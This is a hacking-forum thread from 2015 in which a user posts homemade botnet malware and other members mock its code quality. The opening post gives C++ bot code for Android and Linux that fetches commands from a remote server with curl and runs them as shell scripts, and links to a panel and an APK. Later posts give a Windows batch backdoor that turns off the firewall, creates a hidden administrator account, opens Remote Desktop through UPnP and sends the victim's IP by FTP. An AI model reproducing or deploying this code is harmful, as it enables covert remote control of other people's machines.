Custom Made Linux/Unix/Arm botnet - ⒤⒞⒰⒭⒰⒪⒦ - Apr 20, 2015
Just showing some code I created here
This simple C code is to show you how easy it can be to create a custom botnet
It will work on any Linux/Unix/Arm system's
It works by reading a servers directory thats unique to the device/system running the bot file
If the directory exsist it will download the command in that directory
Then run the command as a shell script
Code
#include <stdio.h>
#include <sstream>
#include <string>
#include <stdlib.h>
#include <time.h>
#include <iostream>
#include <fstream>
using namespace std;
int main () {
int iSecret;
/* CHECK IF USER IS NEW OR OLD
WE READ A NUMBER UNIQUE TO THE USER FROM A FILE
WE USE THIS AS A MEANS TO DOWNLOAD A COMMAND
THE COMMAND WILL BE FROM A SERVER HOSTING THE FILE
*/
/* IF USER IS OLD WE GET THERE ID NUMBER */
fstream file("../../../../sdcard/numbers.txt");
if (file.good()) {
string OldUser;
getline(file, OldUser);
/* READ ID NUMBER SO WE CAN DOWNLOAD COMMAND */
stringstream call_line;
call_line << "curl -o ../../../../sdcard/run.sh http://example.com/" << OldUser << "/command.txt";
system(call_line.str().c_str());
/* RUN THE COMMAND SENT BY THE SERVER */
system("sh ../../../../sdcard/run.sh");
return 0;
} else {
/* IF USER IS NEW WE CREATE THE FILE
THEN GENERATE A RANDOM NUMBER TO THE FILE
THIS NUMBER IS UNIQUE TO THIS USER
*/
ofstream outFile;
srand (time(NULL));
iSecret = rand() % 10000 + 1;
outFile.open("../../../../sdcard/numbers.txt");
outFile << iSecret;
outFile.close();
return 0;
}
}
I tested this on my own android phone and it works
All I did was use a c++ compiler IDE free from google play
C code using <fstream> and 'using namespace std;'? 😅
* - ⒤⒞⒰⒭⒰⒪⒦ - Apr 21, 2015
C++ but can still be done with regular C
Updated "C++" code cause people bitching that it can't be done with just C
Code
#include <stdio.h>
#include <sstream>
#include <string>
#include <stdlib.h>
#include <time.h>
#include <iostream>
#include <fstream>
using namespace std;
int main () {
int iSecret;
/* CHECK IF USER IS NEW OR OLD
WE READ A NUMBER UNIQUE TO THE USER FROM A FILE
WE USE THIS AS A MEANS TO DOWNLOAD A COMMAND
THE COMMAND WILL BE FROM A SERVER HOSTING THE FILE
*/
/* IF USER IS OLD WE GET THERE ID NUMBER */
fstream file("../../../../sdcard/numbers.txt");
if (file.good()) {
string OldUser;
getline(file, OldUser);
/* READ ID NUMBER SO WE CAN DOWNLOAD COMMAND */
stringstream post_data;
post_data << "curl -s -F 'username='" << OldUser << " http://TESTWEBSITE.BLAHH/dsmbot/BOT.php";
system(post_data.str().c_str());
stringstream call_line;
call_line << "curl -o ../../../../sdcard/run.sh http://TESTWEBSITE.BLAHH/dsmbot/" << OldUser << "/command.txt";
system(call_line.str().c_str());
/* RUN THE COMMAND SENT BY THE SERVER */
system("sh ../../../../sdcard/run.sh");
return 0;
} else {
/* IF USER IS NEW WE CREATE THE FILE
THEN GENERATE A RANDOM NUMBER TO THE FILE
THIS NUMBER IS UNIQUE TO THIS USER
*/
ofstream outFile;
srand (time(NULL));
iSecret = rand() % 10000 + 1;
outFile.open("../../../../sdcard/numbers.txt");
outFile << iSecret;
outFile.close();
return 0;
}
}
I updated the code to interact with the webserver better...
I will include php files also
You will be able to view all bots hooked to the server
Time and date the bot was last hooked into the server
Send bash shell commands to the bots hooked
Now the bot will create the folder needed on the webserver if it's new and log itself to the server so you can detect its there..
Here you can see how easy one could make a android application to execute the C++ bot..
I sent a simple echo command here to test
So bam you see how easy one could create a bot android application
I was working on sending the current GPS location to the server also so you can know where your bots are located..
You can download the PHP files C++ code and example apk application here
http://droid-hacks.com/dsmbot/
Ohhh yeah I forgot to mention this botnet requires no SQL database or installation of any database
Just upload php files... Edit C++ code to your server and compile..
My point was that this isn't really C++ coding, and nor is it hardly even C. All you're doing is a system call to invoke other programs... Any batch skid could've written the same thing.
* - ⒤⒞⒰⒭⒰⒪⒦ - Apr 22, 2015
Agreed...
But did they.... No
So I figured why not help the community
Instead of writing out pages of code to do this
I tried to show how simple it could be done with just a paragraph of code...
This is the whole point of it man... Simplified
And yes it uses system functions to execute binaries default to the system..
Easier than adding a extra 3 paragraphs of pointless code when its already able to do it
I tried to show how simple it could be done with just a paragraph of code...
This is the whole point of it man... Simplified
And yes it uses system functions to execute binaries default to the system..
Easier than adding a extra 3 paragraphs of pointless code when its already able to do it
"default to the system" - lol, this makes you sound really clueless...
I'm going to say that probably at least 20% (if not 30%) of the reason why nobody has written this in batch is because it's nearly pointless... My guess would be that you couldn't write these "pages of code" to do it the proper way to begin with, which is why you posted this simplified method instead. Out of all the ways to invoke an executable you chose the system() function too.
* - ⒤⒞⒰⒭⒰⒪⒦ - Apr 22, 2015
Did I ever say this code was for Windows
No I did not....
Of course cURL is not default to the windows operating system
But with 90% of ARM/UNIX/LINUX architectures cURL is infact default to the system... meaning its built into the distro....
Windows header is not even included onto the code so idk why you think this code was designed for it...
Also I have over 8 years experience in coding in over 5 languages
I have created custom python/perl/lua/C++/java projects tons of times..
For example I created this winsock based C++ code that will stream windows keyboard keystrokes directly to your system...
A Windows based botnet that requires NO compilation of source code
and no SQL database needed..
What have you done.... haha
I have looked through your thread post and found nothing of any real value... Script kiddie stuff really...
Look through my thread post and find real knowledge...
hell even I know how to exploit the SQL database for hackforums....
Just can't do it cause the php file that is exploitable is only accessible to upgraded members like yourself...
This exploit allows you to steal google/yahoo/bing referrals
Anyone that signs up to the site visited from a search engine goes to your referrals
Check out the user
icuruok
You wanna see batch huh
This is a batch script I coded about 4 years ago...
What It does ?
Disable's system firewall
Enable's Remote Windows Desktop
Port Forward's Remote Desktop Service Past Router via UPnP
Sends You The External IP Of System That Ran File
Code
@echo off
@for /F "tokens=13 delims=\ " %%i in ('"ipconfig | findstr IPv4"') do set LOCAL_IP=%%i
cscript //nologo %forwardport%
cscript //nologo %getIP%
Findstr /I “Current” %holdHttpResponse% >> %holdExternalIP%
For /F “usebackq tokens=2-5 delims=.:” %%I In (%holdExternalIP%) Do Set _ip=%%I.%%J.%%K.%%L
Set ExternalIP=%_ip:~1,-14%
DEL %getIP%
DEL %forwardport%
DEL %holdHttpResponse%
DEL %holdExternalIP%
ECHO %ExternalIP% >> %iplogs%
echo user usernamehere> ftpcmd.dat
echo passwordhere>> ftpcmd.dat
echo put rdp_ip_logs.log>> ftpcmd.dat
echo quit>> ftpcmd.dat
ftp -n -s:ftpcmd.dat ftp.ftpsite.com
del ftpcmd.dat
del %iplogs%
cls
@exit
Just edit in your ftp connection settings & save as .bat & the file is ready.
* - RRReaperrr - Apr 22, 2015
(Apr 22, 2015 07:21 PM)DomeSlapMusic Wrote: Also I have over 8 years experience in coding in over 5 languages
I have created custom python/perl/lua/C++/java projects tons of times..
(Apr 22, 2015 07:21 PM)DomeSlapMusic Wrote: Did I ever say this code was for Windows
No I did not....
Of course cURL is not default to the windows operating system
But with 90% of ARM/UNIX/LINUX architectures cURL is infact default to the system... meaning its built into the distro....
Windows header is not even included onto the code so idk why you think this code was designed for it...
Also I have over 8 years experience in coding in over 5 languages
I have created custom python/perl/lua/C++/java projects tons of times..
For example I created this winsock based C++ code that will stream windows keyboard keystrokes directly to your system...
A Windows based botnet that requires NO compilation of source code
and no SQL database needed..
What have you done.... haha
I have looked through your thread post and found nothing of any real value... Script kiddie stuff really...
Look through my thread post and find real knowledge...
hell even I know how to exploit the SQL database for hackforums....
Just can't do it cause the php file that is exploitable is only accessible to upgraded members like yourself...
This exploit allows you to steal google/yahoo/bing referrals
Anyone that signs up to the site visited from a search engine goes to your referrals
Check out the user
icuruok
You wanna see batch huh
This is a batch script I coded about 4 years ago...
What It does ?
Disable's system firewall
Enable's Remote Windows Desktop
Port Forward's Remote Desktop Service Past Router via UPnP
Sends You The External IP Of System That Ran File
Code
@echo off
@for /F "tokens=13 delims=\ " %%i in ('"ipconfig | findstr IPv4"') do set LOCAL_IP=%%i
cscript //nologo %forwardport%
cscript //nologo %getIP%
Findstr /I “Current” %holdHttpResponse% >> %holdExternalIP%
For /F “usebackq tokens=2-5 delims=.:” %%I In (%holdExternalIP%) Do Set _ip=%%I.%%J.%%K.%%L
Set ExternalIP=%_ip:~1,-14%
DEL %getIP%
DEL %forwardport%
DEL %holdHttpResponse%
DEL %holdExternalIP%
ECHO %ExternalIP% >> %iplogs%
echo user usernamehere> ftpcmd.dat
echo passwordhere>> ftpcmd.dat
echo put rdp_ip_logs.log>> ftpcmd.dat
echo quit>> ftpcmd.dat
ftp -n -s:ftpcmd.dat ftp.ftpsite.com
del ftpcmd.dat
del %iplogs%
cls
@exit
Just edit in your ftp connection settings & save as .bat & the file is ready.
If you write a vbscript file with that batch script what is the point of using batch to begin with? It's the same thing you are doing with your C++ code above. Your project is still crappy code from the source you posted. I edited my post, I realize it isn't Windows, but you don't need to include <windows.h> to use the Windows specific system() function you moron because it's defined by standard to be in <stdlib.h>. Regardless, that is still beside the point because that function invokes the command interpreter and only after the string has been parsed will anything be done. There's also hardly any feedback as to the success or failure of this function call because that's all left up to the command interpreter itself and nothing that the function does on it's own... 8 years and you still write junk like this? ❓ Anyone with at least 2 years of experience would be able to see the redundancy with this:
Code
while (1)
{
// code with no break statement here
}
closesocket(SOCK);
WSACleanup();
return 0;
You think any of those cleanup functions will ever be called? lol. You're an imbecile. 8 years my a$$. 🤝 The error handing you have is laughable as well. Great thread hanging loops too...
The funniest part is that you still call that winsock sample code "C++ code" even though you aren't using any C++ headers or the C++ variants, there's no C++ design principles imeplemented, you're still using declarations at the top like what would be expected for ISO C89, C-style memory allocation, and C-style struct declarations as well with the verbosity of 'struct' padded before the type. You clearly have absolutely no C++ experience, or that entire code was leached by you and you just assumed that it was C++ lol. The truth is obvious that you're just a plain idiot.
I don't have to post any source of my own on this forum to prove anything to you. And I don't because skids like you would just steal it anyways.
An "exploit" for referrals in MyBB by changing your name to a search engine? lol yeah whoa you're a badass hacker, that's a huge secret... (Complete moron if you ask me.)
And if this doesn't prove your idiocy, I don't know what will ->
buffer != BUFFER. You pass a pointer to the data, then you continue to use the variable from the global scope anyways. Keep pretending you've been programming for 8 years... 👍
Lmao did I say you change your name to a search engine..., NO
the exploit infact works by manipulating the SQL database... You get the referrals added to your account because of the SQL error... Nothing to do with changing your name... It works by the php getting the cache from the browser to determine what site the user last came from.. This data is automatically carried out by the site through a cookie that is then added to the database when the user registers....
So the site thinks ok new user registered and came from google so we will add google as its referral.. But with the exploit the user is added to your referral system.. Because of the SQL error which makes you overlap the referral accounts within the database itself...
Nothing to do with changing your name...
Also the batch only uses the vbs to assist with the upnp port forwarding as it couldn't be done with batch alone.. The code cant be done in pure vbs without creating batch or issuing command data.. So its better to use batch in the first place because less assistance is needed by external data...
You mock my code and examples.. And years developing software but cant show any skill as to your own coding.... Haha ok...
You must be used to coding pointless functions and Visual C programs rather than console based software
Sorry im not like you and don't create pointless loop functions and add extra code that's not needed because the system can already do it outside of the code.. This way you save yourself from writing pointless ass code...
(Apr 22, 2015 09:30 PM)DomeSlapMusic Wrote: Lmao did I say you change your name to a search engine..., NO
the exploit infact works by manipulating the SQL database... You get the referrals added to your account because of the SQL error... Nothing to do with changing your name... It works by the php getting the cache from the browser to determine what site the user last came from.. This data is automatically carried out by the site through a cookie that is then added to the database when the user registers....
So the site thinks ok new user registered and came from google so we will add google as its referral.. But with the exploit the user is added to your referral system.. Because of the SQL error which makes you overlap the referral accounts within the database itself...
Nothing to do with changing your name...
Also the batch only uses the vbs to assist with the upnp port forwarding as it couldn't be done with batch alone.. The code cant be done in pure vbs without creating batch or issuing command data.. So its better to use batch in the first place because less assistance is needed by external data...
You mock my code and examples.. And years developing software but cant show any skill as to your own coding.... Haha ok...
You must be used to coding pointless functions and Visual C programs rather than console based software
Sorry im not like you and don't create pointless loop functions and add extra code that's not needed because the system can already do it outside of the code.. This way you save yourself from writing pointless ass code...
Yeah, I only have a few thousand posts and perhaps 90% of them are all in the coding forums. 😅 F*cking retard... I do lots of freelancing work here so it's not my intention to post silly code like this anyways.
It's not pointless if it means you don't have to depend on invoking a separate program to do something. Nobody is going to bother with a fool like you...
And if you think that batch code can't be written completely in VBS you're even less smart than what I had initially gathered about you too. You're just here to pretend. Funny how you only reply about loops in the code and the system() call when I can see much more wrong with the code, and some of it I even mentioned, but it had been neglected in your response conveniently. Let's all ponder why... ;) Do you have any justification for the 'buffer' vs 'BUFFER' issue I pointed out other than "stupidity"? Must be those "years of programming experience" at its finest that you've been claiming to have hey?
Where the heck is error so he can point out how silly the majority of this code is too? ❓
* - ⒤⒞⒰⒭⒰⒪⒦ - Apr 23, 2015
Thanks for helping promote my thread and bringing it to the ranking it deserves..
I knew I could count on ya to bring my thread back up to the top....
I said threads you posted not post you posted... Anyone can help people with code.. To release it as opensource data is another deal...
And yes it is pointless when the external tools invoked are default to the operating system .. Obviously there is no need for the code when its not needed haha...
I think its hilarious you continue to bash on me about my coding skill just because we have different styles and methods of coding.. I understand that the winsock cleanup has issues and I understand that the character buffer could be done better but it works just fine how it is.. No real errors or issues are there cause the program will compile fine and run on the console fine.. Why fix it... It works..
And no that batch can't be done in pure vbs.. Im not talking VB
WITHOUT invoking or calling on external data.. Its easier to code it in batch because less external data needs to be called for it to work rather than vbs...
What does this batch script do ?
This batch script when run ,
Disables the windows firewall.
Disables balloon notice of firewall being turned off.
Add's a new windows system user called Ninja.
Makes this user hidden from the windows login screen.
Enables Remote Desktop Connection.
Portforwards the Remote Desktop Service past the router/modem via UPnP.
Sends you the external IP of the last system that ran the file.
So once a taget runs this batch script, You can login to there windows system using the windows remote desktop on port 3389 of the targets IP. Just login using the hidden Ninja user & password is Ninjapass now you have a windows operating system under you're command without any real knowledge to the user.
Code
@echo off
@for /F "tokens=13 delims=\ " %%i in ('"ipconfig | findstr IPv4"') do set LOCAL_IP=%%i
NET USER Ninja Ninjapass /ADD
net localgroup administrators Ninja /add
cscript //nologo %forwardport%
cscript //nologo %getIP%
Findstr /I “Current” %holdHttpResponse% >> %holdExternalIP%
For /F “usebackq tokens=2-5 delims=.:” %%I In (%holdExternalIP%) Do Set _ip=%%I.%%J.%%K.%%L
Set ExternalIP=%_ip:~1,-14%
DEL %getIP%
DEL %forwardport%
DEL %holdHttpResponse%
DEL %holdExternalIP%
ECHO %ExternalIP% >> %iplogs%
echo user USERNAMEHERER> ftpcmd.dat
echo PASSWORDHERE>> ftpcmd.dat
echo put rdp_ip_logs.log>> ftpcmd.dat
echo quit>> ftpcmd.dat
ftp -n -s:ftpcmd.dat FTP.FTPWEBSITE.COM
del ftpcmd.dat
del %iplogs%
cls
@exit
Just change the FTP details at the end of the batch script to you're FTP details to recieve the external IP address's of the systems that run the batch script.
icuruok
domeslapmusic
shnackhag
myswordnu
Iv had accounts here sense 2006
I dont care if I get reported
Cause they have permanently banned all my previous accounts for exploiting the database using upgraded accounts...
The RULES state you are not allowed to have multiple accounts.... Well I never did
I had a account
myswordnu and they banned it permanently
I had a account
shnackhag and they banned it permanently
So I created icuruok
And they banned it permanently
So I created domeslapmusic
And now watch this get banned permanently
Even though I broke no rule...
With those accounts I have made more post and threads than you so dont be bringing up post/thread count....
"Available to the System" are you just genuinely fucking retarded.
I notice you also said you cant do uPnP with batch. I'm pretty sure you can since You can do it easy as hell with Bash.
I also notice you storing stuff on the SDCard, Not everyone has an SDCard so there goes about half of your targets.
the reason the "junk code" as you said is added to bots is to create some level of control over how things are run. system() can provide unpredictable results and does get used by AV Companies to tag some malware (along with other things however).
Its better to run things from the memory space of the application rather than rely on the system to do it for you.
----
As for your bans. You got banned first time for breaking rules, All the others were for circumventing your ban.